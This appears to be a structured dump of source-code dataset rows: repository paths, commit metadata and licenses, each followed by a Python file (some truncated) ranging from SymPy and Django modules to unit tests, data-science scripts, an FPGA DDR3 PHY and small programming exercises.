2022-12-09T21:01:00
2019-04-18T03:57:00
CSS
UTF-8
Python
false
false
14,783
py
""" This module contains query handlers responsible for calculus queries: infinitesimal, bounded, etc. """ from __future__ import print_function, division from sympy.logic.boolalg import conjuncts from sympy.assumptions import Q, ask from sympy.assumptions.handlers import CommonHandler, test_closed_group from sympy.ma...
[ "leibingye@outlook.com" ]
leibingye@outlook.com
26d577fdef3604793c953c49f2c7d23bcabe0c42
4264d47b39469ff508c15aa54960b67d56082855
/scripts/design.py
359f3a688400c5b2326159c5da75cda4cf36a9a4
[]
no_license
EthanHolleman/GLOE-DRIP
5097edad289b9f1e67349540c8959d84a59a0137
ae77f2acc45be99727643466a25d69f1d13c9d48
refs/heads/main
2023-04-28T19:08:53.301899
2021-05-11T17:08:26
2021-05-11T17:08:26
360,753,763
0
0
null
null
null
null
UTF-8
Python
false
false
1,422
py
# Read an SRA table with sample information and create a "design" # table that can be used by the R metagene package for plotting # by experimental group. In the sra file the experimental group # should be under a column called "modification" and the sample # name should be under "Sample Name" (case sensitive). import...
[ "etholleman@ucdavis.edu" ]
etholleman@ucdavis.edu
9448924fade59de01de7a10fa8d88ce40717702b
d2c4934325f5ddd567963e7bd2bdc0673f92bc40
/tests/artificial/transf_Logit/trend_PolyTrend/cycle_7/ar_/test_artificial_128_Logit_PolyTrend_7__20.py
cf1fa0ed89ce35dc406211254b9440c735a0c415
[ "BSD-3-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
jmabry/pyaf
797acdd585842474ff4ae1d9db5606877252d9b8
afbc15a851a2445a7824bf255af612dc429265af
refs/heads/master
2020-03-20T02:14:12.597970
2018-12-17T22:08:11
2018-12-17T22:08:11
137,104,552
0
0
BSD-3-Clause
2018-12-17T22:08:12
2018-06-12T17:15:43
Python
UTF-8
Python
false
false
265
py
import pyaf.Bench.TS_datasets as tsds import pyaf.tests.artificial.process_artificial_dataset as art art.process_dataset(N = 128 , FREQ = 'D', seed = 0, trendtype = "PolyTrend", cycle_length = 7, transform = "Logit", sigma = 0.0, exog_count = 20, ar_order = 0);
[ "antoine.carme@laposte.net" ]
antoine.carme@laposte.net
d2cc3e9f512438f6178c724552a5b0d6b3e88a59
7def7ded6c966b38983f9042829ddffef916b81f
/code/train/csnn_growing_inhibition_decreasing_learning_rate.py
0c03ac629b57539b120c5503fb2cc4b3076a06dc
[]
no_license
Hananel-Hazan/stdp-mnist
a4ff6056361468f80fc85151fda35aae87cefd04
c2e931fe838d42ed6ecde9d5a3317a8def2d4bb2
refs/heads/master
2021-05-12T15:19:37.460425
2018-01-09T21:27:13
2018-01-09T21:27:13
116,979,528
8
4
null
2018-01-10T16:04:42
2018-01-10T16:04:42
null
UTF-8
Python
false
false
57,353
py
''' Convolutional spiking neural network training, testing, and evaluation script. Evaluation can be done outside of this script; however, it is most straightforward to call this script with mode=train, then mode=test on HPC systems, where in the test mode, the network evaluation is written to disk. ''' import warnin...
[ "djsaunde@umass.edu" ]
djsaunde@umass.edu
f8b027a671cde683c7588e98703b1f4ea36ea8f4
d324b3d4ce953574c5945cda64e179f33c36c71b
/php/php-sky/grpc/third_party/protobuf/python/google/protobuf/internal/message_test.py
61c6de625dc92a46dc6deabeb6dc937a82793efa
[ "Apache-2.0", "LicenseRef-scancode-protobuf" ]
permissive
Denticle/docker-base
decc36cc8eb01be1157d0c0417958c2c80ac0d2f
232115202594f4ea334d512dffb03f34451eb147
refs/heads/main
2023-04-21T10:08:29.582031
2021-05-13T07:27:52
2021-05-13T07:27:52
320,431,033
1
1
null
null
null
null
UTF-8
Python
false
false
112,318
py
#! /usr/bin/env python # -*- coding: utf-8 -*- # # Protocol Buffers - Google's data interchange format # Copyright 2008 Google Inc. All rights reserved. # https://developers.google.com/protocol-buffers/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provide...
[ "root@localhost.localdomain" ]
root@localhost.localdomain
c5496dfe565e03a669ff94ddc35eb0624c222896
3274e44458cd20e0c9b04fc41ef0e981f2bfaa34
/forms.py
b3e3630316a6ed949969a3cdab42bd095bd9e398
[ "MIT" ]
permissive
ThanlonSmith/news_cms
b354f59cc8d31b3495c0fa445375fe9c04ea2604
3a5b593334c3edd13682a0280d1ba003732e4c9a
refs/heads/master
2022-12-17T17:26:39.176484
2020-09-27T09:33:48
2020-09-27T09:33:48
298,996,072
0
0
null
null
null
null
UTF-8
Python
false
false
7,489
py
# coding:utf8 # @Time : 2020/7/2 上午1:26 # @Author : Erics # @File : forms.py # @Software: PyCharm from flask_wtf import FlaskForm # pip install flask_wtf -i https://mirrors.aliyun.com/pypi/simple from wtforms import StringField, PasswordField, SubmitField, SelectField, FileField, TextAreaField from wtforms.validators ...
[ "erics1996@yeah.net" ]
erics1996@yeah.net
e45767923ad9500f39828ce955a405c8f8f532c1
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/Yfm3h3nT3apARd4gC_15.py
f993b37a58929b8e7570a3eb9c3d4bd005e786b1
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
996
py
""" Create a function that takes a list consisting of dice rolls from 1-6. Return the sum of your rolls with the following conditions: 1. If a 1 is rolled, that is bad luck. The next roll counts as 0. 2. If a 6 is rolled, that is good luck. The next roll is multiplied by 2. 3. The list length will always be 3...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
d4b7f92e65fef54a3974ebb8980dc6f72e48d271
a616222ab88766f7b74e3224f3584feec558c39e
/log1.py
be88aeff621887a48400c7aff29b3cf3e669ef25
[]
no_license
sundeepkakarla/python2
fdf736968961f44a6e83124d0e8636ec8432ea99
c8987fe1c86b91bdd58b6455e682d1c1fccffed8
refs/heads/master
2021-01-19T20:33:43.831511
2016-11-20T05:03:11
2016-11-20T05:03:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
188
py
import logging logging.basicConfig(level=logging.DEBUG) logging.info('Program started') logging.warn("Warnig message") logging.exception("Exception message") logging.info("program ended")
[ "sambapython@gmail.com" ]
sambapython@gmail.com
9255c63f88713989d591023379e353dc29631e7e
1749147fb24b13803d3437e0ae94250d67d618bd
/titanic/titanic_predict_surv.py
d04c873ba7f7ca7d7774a3f44dd32820e330f5ab
[]
no_license
MJK0211/bit_seoul
65dcccb9336d9565bf9b3bc210b1e9c1c8bd840e
44d78ce3e03f0a9cf44afafc95879e4e92d27d54
refs/heads/master
2023-02-06T00:45:52.999272
2020-12-26T07:47:30
2020-12-26T07:47:30
311,308,648
1
0
null
null
null
null
UTF-8
Python
false
false
3,726
py
import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns train = pd.read_csv('./data/titanic/csv/train.csv') test = pd.read_csv('./data/titanic/csv/test.csv') # print(train.shape) #(891, 12) # print(test.shape) #(418, 11) # print(train.head()) # print(train.tail()) ...
[ "kimminjong0211@gmail.com" ]
kimminjong0211@gmail.com
3cd04be986dd9051c15d607bd9520043a0296705
f0bc59dc9aab005ef977957e6ea6b91bbe430952
/2019-06-06-ten-tips-python-web-devs-kennedy/code/top_10_web_explore/ex07_viewmodels/pypi_vm/views/account_view.py
536097402ca04631d85bc4f41202854bac972a11
[ "Apache-2.0" ]
permissive
Wintellect/WintellectWebinars
3ac0f6ae02d2d52eefb80f4f06d70f44e0d66095
5a59d9742c340022d58ec7e2cda69a1eba0feb53
refs/heads/master
2023-03-02T06:31:25.457579
2022-04-29T19:26:55
2022-04-29T19:26:55
87,122,981
68
124
Apache-2.0
2023-03-01T02:39:17
2017-04-03T21:33:32
JavaScript
UTF-8
Python
false
false
2,404
py
import flask from flask import Response from pypi_vm.infrastructure import cookie_auth from pypi_vm.infrastructure.view_modifiers import response from pypi_vm.services import user_service from pypi_vm.viewmodels.account.account_home_viewmodel import AccountHomeViewModel from pypi_vm.viewmodels.account.login_viewmodel ...
[ "mikeckennedy@gmail.com" ]
mikeckennedy@gmail.com
30a54b9384bc265e2460c72854893e255db26a59
c5b21cec89c743475b918bcbb0f36c492417f295
/djangomysqlrestcrudswagger/djangomysqlrestcrudswagger/wsgi.py
fefb24816b834800701be025cdd3ba520f88436f
[]
no_license
roytuts/django
f41acc8ca9d06177e76fc4b4824a5d6cbbf83328
7f32edcfb6b197680c189e3fe6e0d9971ea87e91
refs/heads/master
2023-06-10T11:54:12.184492
2021-06-28T04:53:40
2021-06-28T04:53:40
282,702,115
17
46
null
2020-12-06T22:32:24
2020-07-26T17:43:52
Python
UTF-8
Python
false
false
429
py
""" WSGI config for djangomysqlrestcrudswagger project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setde...
[ "email@email.com" ]
email@email.com
b55bf0d5a78fc51ec3c3a90b25964149808978ac
95857cfe06ba533fc38e4266b3ca40914505ec9f
/01_hello.py
bd65d05e00075141282d58aa5a1b406435df8d22
[]
no_license
ccwu0918/python_basic
184b8d974ea8e0f615b0fd046a59177b7d045099
e5ff6d45dc80805bcda0d9949254f5ad2acfc306
refs/heads/master
2023-06-10T18:59:52.705045
2021-07-02T16:05:55
2021-07-02T16:05:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
321
py
# 練習 Hello World,註解符號 print("Hello World") """ 單行註解,井字號 大段落文字的註解,三個引號 """ a = 3 b = 7 c = a * b print(a, "*", b, "=", c) print(7%3) name = "Vincent " print("My name is ", name) # 同時可設定多個變數 a, b = 3, 7 # 練習題:如何做兩數交換?
[ "shinjia168@gmail.com" ]
shinjia168@gmail.com
2b2b1b0623fbd155f773f0883f1016437d0e214b
af7b245364a2532fb1fd1bff915be196830d8699
/begin/urls.py
c50c5aa2a5b87ae23811ca38b32cca44550e600c
[]
no_license
NabhyaKhoria/NBS
433db9962031624db790de3e76450a31ce6287fb
25792daf1c10eddb66c1e6ebf6ca06acc8ae3b73
refs/heads/main
2023-07-01T16:52:38.850449
2021-07-10T18:22:19
2021-07-10T18:22:19
384,763,911
1
0
null
null
null
null
UTF-8
Python
false
false
139
py
from django.contrib import admin from django.urls import path from . import views urlpatterns = [ path('',views.home, name='home'), ]
[ "you@example.com" ]
you@example.com
85d8bfbe235614b4b0ed925893f339a1255e6207
29fd3daff8c31764c00777e67d2cc9b3e94ba761
/examples/appB_examples/pdb_demo_trace.py
36218fc7e9e2118913539b455203de4f100688d2
[]
no_license
mwoinoski/crs1906
06a70a91fc99e2d80e2ed3cea5724afa22dce97d
202f7cc4cae684461f1ec2c2c497ef20211b3e5e
refs/heads/master
2023-06-23T17:13:08.163430
2023-06-12T21:44:39
2023-06-12T21:44:39
39,789,380
1
2
null
2022-01-26T20:43:18
2015-07-27T17:54:56
Python
UTF-8
Python
false
false
566
py
"""pdb_demo_trace.py - Example of pdb from chapter 4""" import pdb class PdbDemo(object): def __init__(self, name, num_loops): self._name = name self._count = num_loops def count(self): for i in range(self._count): pdb.set_trace() print(i) return '{} e...
[ "michaelw@articulatedesign.us.com" ]
michaelw@articulatedesign.us.com
bb40e04886ed2422e53222096f14b7e314049118
f281d0d6431c1b45c6e5ebfff5856c374af4b130
/DAY100~199/DAY197-BOJ6002-Job Hunt/joohyuk.py
6745ebd98856cfab08e5396547a8f43ac8b9118d
[]
no_license
tachyon83/code-rhino
ec802dc91dce20980fac401b26165a487494adb4
b1af000f5798cd12ecdab36aeb9c7a36f91c1101
refs/heads/master
2022-08-13T09:10:16.369287
2022-07-30T11:27:34
2022-07-30T11:27:34
292,142,812
5
6
null
null
null
null
UTF-8
Python
false
false
657
py
import sys si = sys.stdin.readline d, p, c, f, s = [int(e) for e in si().split()] g, earnings = [[] for _ in range(c+1)], [0 for _ in range(c+1)] while p: p -= 1 a, b = [int(e) for e in si().split()] g[a].append([b, 0]) while f: f -= 1 a, b, w = [int(e) for e in si().split()] g[a].append([b, w...
[ "noreply@github.com" ]
tachyon83.noreply@github.com
678a5889ce9341b5f501265063040dafe8ad8fdb
84226827016bf833e843ebce91d856e74963e3ed
/tests/unit/modules/virt_test.py
29ca75c47df0f043d970537f954538441ee92b49
[ "Apache-2.0" ]
permissive
jbq/pkg-salt
ad31610bf1868ebd5deae8f4b7cd6e69090f84e0
b6742e03cbbfb82f4ce7db2e21a3ff31b270cdb3
refs/heads/master
2021-01-10T08:55:33.946693
2015-05-21T13:41:01
2015-05-21T13:41:01
36,014,487
1
0
null
null
null
null
UTF-8
Python
false
false
19,915
py
# -*- coding: utf-8 -*- # Import python libs import sys import re # Import Salt Testing libs from salttesting import skipIf, TestCase from salttesting.helpers import ensure_in_syspath from salttesting.mock import NO_MOCK, NO_MOCK_REASON, MagicMock, patch ensure_in_syspath('../../') # Import salt libs from salt.modul...
[ "joehealy@gmail.com" ]
joehealy@gmail.com
70e74cc0a23a38a39b7158bb70228fdd02552163
a28a3665af439ad3d9f401d180856b0489341ffd
/plot_dumped_spikes.py
5781e18c464a56d2fef9b00a92fb8f074783e2eb
[]
no_license
Jegp/spike_conv_nets
c75f8bfc8f977ed94e4bc8d6d37cd02ac65b5961
c11b469b6d7896d787c77dca789be26f3d3d98b4
refs/heads/master
2023-06-24T03:20:16.378273
2021-07-16T17:20:43
2021-07-16T17:20:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,231
py
import numpy as np import matplotlib.pyplot as plt dumps_per_rate = { 5: [0, 0, 0, 0, 0, 0, 4, 6], 10: [0, 0, 0, 0, 0, 0, 9, 37], 25: [0, 0, 1, 181, 1204, 3426, 6153, 8864], 50: [0, 68, 2174, 7877, 13170, 18043, 22405, 26850], 100: [0, 5580, 16308, 25460, 33980, 42078, 53812, 61430], 150: [111,...
[ "chanokin@gmail.com" ]
chanokin@gmail.com
2bbf7771c9c7a453bd61e602ff988dfd4a3b4ae0
ac216a2cc36f91625e440247986ead2cd8cce350
/recipes/recipes/infra_frontend_tester.py
35f8b23c7f2b499284c5540051977b9d62c9f7c2
[ "BSD-3-Clause" ]
permissive
xinghun61/infra
b77cdc566d9a63c5d97f9e30e8d589982b1678ab
b5d4783f99461438ca9e6a477535617fadab6ba3
refs/heads/master
2023-01-12T21:36:49.360274
2019-10-01T18:09:22
2019-10-01T18:09:22
212,168,656
2
1
BSD-3-Clause
2023-01-07T10:18:03
2019-10-01T18:22:44
Python
UTF-8
Python
false
false
3,772
py
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. DEPS = [ 'depot_tools/bot_update', 'depot_tools/gclient', 'infra_checkout', 'recipe_engine/buildbucket', 'recipe_engine/cipd', 'recipe_engine/con...
[ "commit-bot@chromium.org" ]
commit-bot@chromium.org
1ce69570b147409c64f71b6f95f4f9f4424df5fd
847273de4b1d814fab8b19dc651c651c2d342ede
/.history/sok2_20180605144707.py
415fc2182c0374df330c14fda7cf3dfab26de737
[]
no_license
Los4U/sudoku_in_python
0ba55850afcffeac4170321651620f3c89448b45
7d470604962a43da3fc3e5edce6f718076197d32
refs/heads/master
2020-03-22T08:10:13.939424
2018-07-04T17:21:13
2018-07-04T17:21:13
139,749,483
0
1
null
null
null
null
UTF-8
Python
false
false
988
py
row1 = [0,0,0,0,0,0,0,0,0] row2 = [0,0,0,5,0,6,0,0,0] row3 = [0,0,1,0,0,0,0,3,0] row4 = [0,9,5,0,0,0,2,0,0] row5 = [0,0,0,0,0,1,6,0,7] row6 = [1,0,6,0,0,9,0,0,5] row7 = [7,0,0,8,0,3,9,0,0] row8 = [0,3,8,9,0,0,0,2,0] row9 = [0,5,0,0,2,0,7,0,0] print(row1) print(row2) print(row3) print("") print(row4) print(ro...
[ "inz.kamil.wos@gmail.com" ]
inz.kamil.wos@gmail.com
03e81cb668b3892630d4b84f13d52db0f2340b0a
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nngroom.py
05304e2ebd860e857cfafb531e8759d0f08be7b8
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
837
py
ii = [('CookGHP3.py', 1), ('MarrFDI.py', 1), ('FerrSDO3.py', 4), ('CookGHP.py', 2), ('KembFJ1.py', 1), ('WilkJMC3.py', 1), ('ClarGE2.py', 8), ('CarlTFR.py', 1), ('LyttELD.py', 1), ('CoopJBT2.py', 1), ('AinsWRR3.py', 5), ('CookGHP2.py', 2), ('BailJD1.py', 3), ('RoscTTI2.py', 1), ('CrokTPS.py', 2), ('ClarGE.py', 7), ('Gi...
[ "varunwachaspati@gmail.com" ]
varunwachaspati@gmail.com
4e2cb5d3446ab650d78bd50b0f6c501c5b253419
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-iec/huaweicloudsdkiec/v1/model/create_firewall_request.py
5f5b939d3a460d290d4882cf2d16021fd5122cc7
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
3,151
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateFirewallRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attrib...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
db5d2df161a6e83e117857449c89f34e77bbc1e9
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/46/usersdata/133/19356/submittedfiles/funcoes1.py
6e1d19cdc94d09fc1fc04dfb30e04fc08e20562e
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
1,844
py
# -*- coding: utf-8 -*- from __future__ import division def crescente (lista): c = 0 for i in range(0, len(lista) - 1, 1): if (lista[i] > lista[i+1]): c = c + 1 if c == 0: return True else: return False def decrescente (lista): c = 0 for i in range (0,...
[ "rafael.mota@ufca.edu.br" ]
rafael.mota@ufca.edu.br
8d0f295d36ca43741e772ae4a4d619e059a69763
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_pitcher.py
4935937eb1a295682a937ebc12940f067750b650
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
561
py
#calss header class _PITCHER(): def __init__(self,): self.name = "PITCHER" self.definitions = [u'a large, round container for liquids that has a flat base, a handle, and a very narrow raised opening at the top for pouring: ', u'a container for holding liquids that has a handle and a shaped opening at the top fo...
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
3201eddccde78cd5194c5e90ad30468489386f20
6fdb4eaf5b0e6dbd7db4bf947547541e9aebf110
/api/src/opentrons/hardware_control/emulation/module_server/server.py
5a3d696eb7b834587678e7f64d99bb63f8ebdd00
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
Opentrons/opentrons
874321e01149184960eeaeaa31b1d21719a1ceda
026b523c8c9e5d45910c490efb89194d72595be9
refs/heads/edge
2023-09-02T02:51:49.579906
2023-08-31T16:02:45
2023-08-31T16:02:45
38,644,841
326
174
Apache-2.0
2023-09-14T21:47:20
2015-07-06T20:41:01
Python
UTF-8
Python
false
false
3,478
py
"""Server notifying of module connections.""" import asyncio import logging from typing import Dict, Set from opentrons.hardware_control.emulation.module_server.models import ( ModuleConnection, Message, ) from opentrons.hardware_control.emulation.proxy import ProxyListener from opentrons.hardware_control.emul...
[ "noreply@github.com" ]
Opentrons.noreply@github.com
0058c0c97e9d9d87841883e5c30387db9b77b14e
bdf86d69efc1c5b21950c316ddd078ad8a2f2ec0
/venv/Lib/site-packages/scrapy/selector/lxmlsel.py
c610d120ad1f1822117219bab6d57d09323f7f09
[]
no_license
DuaNoDo/PythonProject
543e153553c58e7174031b910fd6451399afcc81
2c5c8aa89dda4dec2ff4ca7171189788bf8b5f2c
refs/heads/master
2020-05-07T22:22:29.878944
2019-06-14T07:44:35
2019-06-14T07:44:35
180,941,166
1
1
null
2019-06-04T06:27:29
2019-04-12T06:05:42
Python
UTF-8
Python
false
false
1,340
py
""" XPath selectors based on lxml """ from scrapy.utils.deprecate import create_deprecated_class from .unified import Selector, SelectorList __all__ = ['HtmlXPathSelector', 'XmlXPathSelector', 'XPathSelector', 'XPathSelectorList'] def _xpathselector_css(self, *a, **kw): raise RuntimeError('.css() meth...
[ "teadone@naver.com" ]
teadone@naver.com
a1805cdf71db4000bbdb1c7c3b2df4c64fdb8be0
fa6776ade56e05d1448ddb6c81cb78ed207cc7a9
/mlfromscratch/unsupervised_learning/genetic_algorithm.py
005dc1993e1ab570475c62c5a321edb4134e1d7d
[ "MIT" ]
permissive
lyrl/ML-From-Scratch
28eef91c84c8595f43745d8a6a3f6d082ea23346
a7d43fd1eb352035179c5f333bec082d0083362c
refs/heads/master
2021-06-27T19:27:08.053663
2017-09-15T08:43:55
2017-09-15T08:43:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,423
py
import string import numpy as np class GeneticAlgorithm(): """An implementation of a Genetic Algorithm which will try to produce the user specified target string. Parameters: ----------- target_string: string The string which the GA should try to produce. population_size: int T...
[ "eriklindernoren@live.se" ]
eriklindernoren@live.se
52be8e15b25ae2d05f9c682e3964907f3b834520
59cf95f3344bc8284b325691ac9e01a988d0390a
/Session21.py
2ee32100cbd79b7d8ff851b50d644c7d8c1a0dd2
[]
no_license
ishantk/GW2021PY1
8932282895c8a3a53d64f83e2710541beca8e4a7
0d20ad4103f90568e165b35ff571c4672de16147
refs/heads/master
2023-08-01T05:02:39.358314
2021-09-17T12:09:40
2021-09-17T12:09:40
387,378,623
0
4
null
null
null
null
UTF-8
Python
false
false
683
py
import os print(os.name) print(os.uname()) print(os.getlogin()) print(os.getcwd()) print(os.getppid()) path_to_directory = "/Users/ishantkumar/Downloads/profilepage" path_to_file = "/Users/ishantkumar/Downloads/Ishant.pdf" print(os.path.isdir(path_to_directory)) print(os.path.isfile(path_to_file)) # path_to_directo...
[ "er.ishant@gmail.com" ]
er.ishant@gmail.com
9d4313101fa758d947c55a7a942fc0fbb6582ba0
1c2428489013d96ee21bcf434868358312f9d2af
/ultracart/models/coupon_amount_off_subtotal_with_items_purchase.py
41fa3bf9b7bd54a00159e397d0b0dd8c1f743eb2
[ "Apache-2.0" ]
permissive
UltraCart/rest_api_v2_sdk_python
7821a0f6e0e19317ee03c4926bec05972900c534
8529c0bceffa2070e04d467fcb2b0096a92e8be4
refs/heads/master
2023-09-01T00:09:31.332925
2023-08-31T12:52:10
2023-08-31T12:52:10
67,047,356
2
0
null
null
null
null
UTF-8
Python
false
false
7,078
py
# coding: utf-8 """ UltraCart Rest API V2 UltraCart REST API Version 2 # noqa: E501 OpenAPI spec version: 2.0.0 Contact: support@ultracart.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class CouponAmountOffSubtotalW...
[ "perry@ultracart.com" ]
perry@ultracart.com
9525643788f81bbc4fd703048134022606188cc6
3a4fbde06794da1ec4c778055dcc5586eec4b7d2
/_google_app_engine-projects/django-gae2django/django/core/management/color.py
9e1f4bc3c7035f41cb793f3cff4c5c80232312fc
[ "Apache-2.0" ]
permissive
raychorn/svn_python-django-projects
27b3f367303d6254af55c645ea003276a5807798
df0d90c72d482b8a1e1b87e484d7ad991248ecc8
refs/heads/main
2022-12-30T20:36:25.884400
2020-10-15T21:52:32
2020-10-15T21:52:32
304,455,211
0
0
null
null
null
null
UTF-8
Python
false
false
1,339
py
""" Sets up the terminal color scheme. """ import sys from django.utils import termcolors def supports_color(): """ Returns True if the running system's terminal supports color, and False otherwise. """ unsupported_platform = (sys.platform in ('win32', 'Pocket PC')) # isatty is ...
[ "raychorn@gmail.com" ]
raychorn@gmail.com
8e50fe8cb7476ae32c0df2bdf7c48b016713463d
eb0345c732b9525db372283fe6105f553d6bddbf
/backendapi/prescription/serializers.py
596707772dc9f5393e68fbef67bfdfef64734622
[]
no_license
mahidulmoon/djreact-smart-medic
1f0a6b3de8981858d4234b4da8d76b52e1911f70
9d07d93aa1ff27558cd496a4aa94167c8983958a
refs/heads/master
2021-05-22T01:49:00.155572
2020-04-04T05:13:27
2020-04-04T05:13:27
252,911,771
0
0
null
null
null
null
UTF-8
Python
false
false
199
py
from rest_framework import serializers from .models import Prescription class PrescriptionSerializer(serializers.ModelSerializer): class Meta: model=Prescription fields="__all__"
[ "mahidulmoon@gmail.com" ]
mahidulmoon@gmail.com
3e380c6fd02a0177ec6250011cfc2ca40ee52f41
a8750439f200e4efc11715df797489f30e9828c6
/HackerEarth/char_sum.py
72a2c7a776d2883356fa9090ce608f02c2eff36b
[]
no_license
rajlath/rkl_codes
f657174305dc85c3fa07a6fff1c7c31cfe6e2f89
d4bcee3df2f501349feed7a26ef9828573aff873
refs/heads/master
2023-02-21T10:16:35.800612
2021-01-27T11:43:34
2021-01-27T11:43:34
110,989,354
0
0
null
null
null
null
UTF-8
Python
false
false
120
py
from string import ascii_lowercase as al weights = dict(zip(al, range(1, 27))) print(sum([weights[x] for x in input()]))
[ "raj.lath@gmail.com" ]
raj.lath@gmail.com
e1e603be0d0b6b5a04022895a942d4b2ce6476f7
f576f0ea3725d54bd2551883901b25b863fe6688
/sdk/sql/azure-mgmt-sql/generated_samples/server_advanced_threat_protection_settings_create_min.py
6c0235f2a980a9217c5d24fd3ecae5af2e6b9d20
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
Azure/azure-sdk-for-python
02e3838e53a33d8ba27e9bcc22bd84e790e4ca7c
c2ca191e736bb06bfbbbc9493e8325763ba990bb
refs/heads/main
2023-09-06T09:30:13.135012
2023-09-06T01:08:06
2023-09-06T01:08:06
4,127,088
4,046
2,755
MIT
2023-09-14T21:48:49
2012-04-24T16:46:12
Python
UTF-8
Python
false
false
1,785
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
Azure.noreply@github.com
e19e8836af87a74037a78fd6d6de4aee2097db37
98d45064d27904fe7f47fa2506cea5458b07d614
/ecp5ddrphy.py
43b512cc0ac944f258f5b3d34542b00810b68823
[]
no_license
daveshah1/versa_ecp5_dram
5a2ffe1220594c1562f7279093fee530c02119a2
60235f1fbf11e21008b3323f11dd9719a7fdd19e
refs/heads/master
2020-04-17T23:43:28.465984
2018-12-10T10:50:33
2018-12-10T10:50:33
167,047,772
0
0
null
2019-01-22T18:44:45
2019-01-22T18:44:45
null
UTF-8
Python
false
false
15,484
py
# 1:2 frequency-ratio DDR3 PHY for Lattice's ECP5 # DDR3: 800 MT/s import math from collections import OrderedDict from migen import * from migen.genlib.misc import BitSlip from migen.fhdl.specials import Tristate from litex.soc.interconnect.csr import * from litedram.common import PhySettings from litedram.phy.dfi...
[ "florent@enjoy-digital.fr" ]
florent@enjoy-digital.fr